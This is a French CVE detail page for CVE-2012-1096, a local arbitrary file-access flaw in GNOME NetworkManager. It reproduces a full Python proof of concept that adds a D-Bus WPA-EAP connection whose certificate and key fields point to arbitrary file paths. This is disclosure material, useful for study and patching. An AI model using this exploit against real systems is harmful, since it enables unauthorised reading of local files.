CVE-2012-1096 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/52206/info GNOME NetworkManager is prone to a local arbitrary file-access vulnerability. Local attackers can exploit this issue to read arbitrary files. This may lead to further attacks. NetworkManager 0.6, 0.7, and 0.9 are vulnerable; other versions may also be affected. #!/usr/bin/python # # Copyright (C) 2011 SUSE LINUX Products GmbH # # Author: Ludwig Nussel # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # version 2 as published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA import gobject import dbus import dbus.service import dbus.mainloop.glib import os import subprocess def N_(x): return x _debug_level = 0 def debug(level, msg): if (level <= _debug_level): print '<%d>'%level, msg class NetworkManager(gobject.GObject): NM_STATE = { 0: 'UNKNOWN', 10: 'UNMANAGED', 20: 'UNAVAILABLE', 30: 'DISCONNECTED', 40: 'PREPARE', 50: 'CONFIG', 60: 'NEED_AUTH', 70: 'IP_CONFIG', 80: 'IP_CHECK', 90: 'SECONDARIES', 100: 'ACTIVATED', 110: 'DEACTIVATING', 120: 'FAILED', } NM_DEVICE_TYPE = { 0: 'NM_DEVICE_TYPE_UNKNOWN', # The device type is unknown. 1: 'NM_DEVICE_TYPE_ETHERNET', # The device is wired Ethernet device. 2: 'NM_DEVICE_TYPE_WIFI', # The device is an 802.11 WiFi device. 3: 'NM_DEVICE_TYPE_UNUSED1', # Unused 4: 'NM_DEVICE_TYPE_UNUSED2', # Unused 5: 'NM_DEVICE_TYPE_BT', # The device is Bluetooth device that provides PAN or DUN capabilities. 6: 'NM_DEVICE_TYPE_OLPC_MESH', # The device is an OLPC mesh networking device. 7: 'NM_DEVICE_TYPE_WIMAX', # The device is an 802.16e Mobile WiMAX device. 8: 'NM_DEVICE_TYPE_MODEM', # The device is a modem supporting one or more of analog telephone, CDMA/EVDO, GSM/UMTS/HSPA, or LTE standards to access a cellular or wireline data network. } NM_802_11_AP_SEC = { 'NM_802_11_AP_SEC_NONE': 0x0, # Null flag. 'NM_802_11_AP_SEC_PAIR_WEP40': 0x1, # Access point supports pairwise 40-bit WEP encryption. 'NM_802_11_AP_SEC_PAIR_WEP104': 0x2, # Access point supports pairwise 104-bit WEP encryption. 'NM_802_11_AP_SEC_PAIR_TKIP': 0x4, # Access point supports pairwise TKIP encryption. 'NM_802_11_AP_SEC_PAIR_CCMP': 0x8, # Access point supports pairwise CCMP encryption. 'NM_802_11_AP_SEC_GROUP_WEP40': 0x10, # Access point supports a group 40-bit WEP cipher. 'NM_802_11_AP_SEC_GROUP_WEP104': 0x20, # Access point supports a group 104-bit WEP cipher. 'NM_802_11_AP_SEC_GROUP_TKIP': 0x40, # Access point supports a group TKIP cipher. 'NM_802_11_AP_SEC_GROUP_CCMP': 0x80, # Access point supports a group CCMP cipher. 'NM_802_11_AP_SEC_KEY_MGMT_PSK': 0x100, # Access point supports PSK key management. 'NM_802_11_AP_SEC_KEY_MGMT_802_1X': 0x200, # Access point supports 802.1x key management. } def __init__(self): self.bus = dbus.SystemBus() self.proxy = None self.manager = None self.running = False self.devices = {} self.devices_by_name = {} self.aps = {} self.ap_by_addr = {} self.ap_by_ssid = {} self.check_status() self.bus.add_signal_receiver( lambda name, old, new: self.nameowner_changed_handler(name, old, new), bus_name='org.freedesktop.DBus', dbus_interface='org.freedesktop.DBus', signal_name='NameOwnerChanged') self.bus.add_signal_receiver( lambda device, **kwargs: self.device_add_rm(device, True, **kwargs), bus_name='org.freedesktop.NetworkManager', dbus_interface = 'org.freedesktop.NetworkManager', signal_name = 'DeviceAdded', sender_keyword = 'sender') self.bus.add_signal_receiver( lambda device, **kwargs: self.device_add_rm(device, False, **kwargs), bus_name='org.freedesktop.NetworkManager', dbus_interface = 'org.freedesktop.NetworkManager', signal_name = 'DeviceRemoved', sender_keyword = 'sender') def cleanup(self): self.switcher = None def devstate2name(self, state): if state in self.NM_STATE: return self.NM_STATE[state] return "UNKNOWN:%s"%state def devtype2name(self, type): if type in self.NM_DEVICE_TYPE: return self.NM_DEVICE_TYPE[type] return "UNKNOWN:%s"%type def secflags2str(self, flags): a = [] for key in self.NM_802_11_AP_SEC.keys(): if self.NM_802_11_AP_SEC[key] and flags&self.NM_802_11_AP_SEC[key]: a.append(key[len('NM_802_11_AP_SEC_'):]) return ' '.join(a) def nameowner_changed_handler(self, name, old, new): if name != 'org.freedesktop.NetworkManager': return off = old and not new self.check_status(off) def device_add_rm(self, device, added, sender=None, **kwargs): if (added): dev = self.bus.get_object("org.freedesktop.NetworkManager", device) props = dbus.Interface(dev, "org.freedesktop.DBus.Properties") name = props.Get("org.freedesktop.NetworkManager.Device", "Interface") devtype = props.Get("org.freedesktop.NetworkManager.Device", "DeviceType") debug(0,"device %s, %s added"%(name, self.devtype2name(devtype))) self.devices[device] = name self.devices_by_name[name] = device if devtype == 2: wifi = dbus.Interface(dev, "org.freedesktop.NetworkManager.Device.Wireless") aps = wifi.GetAccessPoints() for path in aps: ap = self.bus.get_object("org.freedesktop.NetworkManager", path) props = dbus.Interface(ap, "org.freedesktop.DBus.Properties") ssid_raw = props.Get("org.freedesktop.NetworkManager.AccessPoint", "Ssid") addr = props.Get("org.freedesktop.NetworkManager.AccessPoint", "HwAddress") wpaflags = props.Get("org.freedesktop.NetworkManager.AccessPoint", "WpaFlags") rsnflags = props.Get("org.freedesktop.NetworkManager.AccessPoint", "RsnFlags") ssid = '' for b in ssid_raw: if b > 20 and b < 126: ssid += str(b) else: ssid += '0x%02x'%b self.aps[path] = { 'Ssid' : ssid_raw, '_ssid_readable' : ssid, 'HwAddress' : addr, 'WpaFlags' : wpaflags, 'RsnFlags' : rsnflags, } self.ap_by_addr[addr] = path if not ssid in self.ap_by_ssid: self.ap_by_ssid[ssid] = set({}) self.ap_by_ssid[ssid].add(path) for ssid in sorted(self.ap_by_ssid.keys()): print ssid for path in self.ap_by_ssid[ssid]: ap = self.aps[path] print ' ', ap['HwAddress'] if ap['WpaFlags']: print " WPA: ", self.secflags2str(ap['WpaFlags']) if ap['RsnFlags']: print " RSN: ", self.secflags2str(ap['RsnFlags']) else: if not device in self.devices: debug(0, "got remove signal for unknown device %s removed"%device) else: name = self.devices[device] del self.devices[device] del self.devices_by_name[name] debug(0,"device %s removed"%name) def _connect_nm(self): try: self.proxy = self.bus.get_object("org.freedesktop.NetworkManager", "/org/freedesktop/NetworkManager") self.manager = manager = dbus.Interface(self.proxy, "org.freedesktop.NetworkManager") running = True except dbus.DBusException, e: running = False print e return running def check_status(self, force_off=False): if (force_off): running = False else: running = self.running if (not self.manager): running = self._connect_nm() if (running): if (not self.running): devices = self.manager.GetDevices() for d in devices: self.device_add_rm(d, True) if (not running): self.proxy = self.manager = None self.running = running debug(1,"NM Running: %s"%self.running) def addcon(self, params, device, ap = '/'): if device[0] != '/': if not device in self.devices_by_name: print "Error: device not known" sys.exit(1) device = self.devices_by_name[device] if ap[0] != '/' and not 'ssid' in params['802-11-wireless']: params['802-11-wireless']['ssid'] = [dbus.Byte(ord(c)) for c in ap] if not ap in self.ap_by_ssid: print "Warning: ssid not known" ap = '/' else: ap = '/' self.manager.AddAndActivateConnection(params, device, ap) if __name__ == '__main__': from optparse import OptionParser parser = OptionParser(usage="%prog [options]") parser.add_option('--debug', dest="debug", metavar='N', action='store', type='int', default=0, help="debug level") (opts, args) = parser.parse_args() if opts.debug: _debug_level = opts.debug dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) mainloop = gobject.MainLoop() bus = dbus.SystemBus() nm = NetworkManager() if len(args) == 0: #mainloop.run() True elif args[0] == 'new': conn = { 'connection': { 'permissions': [ 'user:joesix:' ], 'autoconnect': False, 'type': '802-11-wireless', }, '802-11-wireless': { #'ssid': [ dbus.Byte(ord(c)) for c in "something" ], 'mode': 'infrastructure', 'security': '802-11-wireless-security', }, '802-1x': { 'eap': [ 'tls' ], # peap, ttls 'client-cert': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/cert.pem' ] + [ dbus.Byte(0) ], 'private-key': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/key.pem' ] + [ dbus.Byte(0) ], 'ca-cert': [ dbus.Byte(ord(c)) for c in 'file:///home/foo/certs/cacert.pem' ] + [ dbus.Byte(0) ], 'private-key-password': "12345", #'ca-cert': 'hash://server/sha256/5336d308fa263f9f07325baae58ac972876f419527a9bf67c5ede3e668d3a925', #'subject-match': '/CN=blah/emailAddress=foo@bar', #'phase2-auth': 'mschapv2', 'identity': 'test1', #'password': 'test1', }, '802-11-wireless-security': { 'key-mgmt': 'wpa-eap', 'auth-alg': 'open', }, } dev = args[1] ap = None if len(args) > 2: ap = args[2] nm.addcon(conn, dev, ap) # vim: sw=4 ts=8 noet